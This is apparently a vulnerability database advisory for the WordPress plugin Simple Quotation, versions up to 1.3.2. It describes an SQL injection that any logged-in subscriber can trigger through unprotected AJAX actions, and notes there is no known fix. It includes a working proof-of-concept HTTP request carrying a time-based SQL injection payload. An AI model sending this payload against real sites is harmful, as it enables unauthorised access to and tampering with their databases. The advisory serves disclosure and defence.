WordPress Plugin Vulnerabilities

Simple Quotation <= 1.3.2 - Subscriber+ SQL injection

Description

The plugin does not have authorisation (and CSRF) checks in various of its AJAX actions and is lacking escaping of user data when using it in SQL statements, allowing any authenticated users, such as subscriber to perform SQL injection attacks

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 41
Connection: close
Cookie: [subscriber+]

action=delete_link&idLink=2+OR+SLEEP(2)--

Affects Plugins

No known fix

References

Classification

Type
SQLI
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
abhishek bhoir
Submitter
abhishek bhoir
Verified
Yes

Timeline

Publicly Published
2022-02-16 (about 2 years ago)
Added
2022-02-16 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)

Other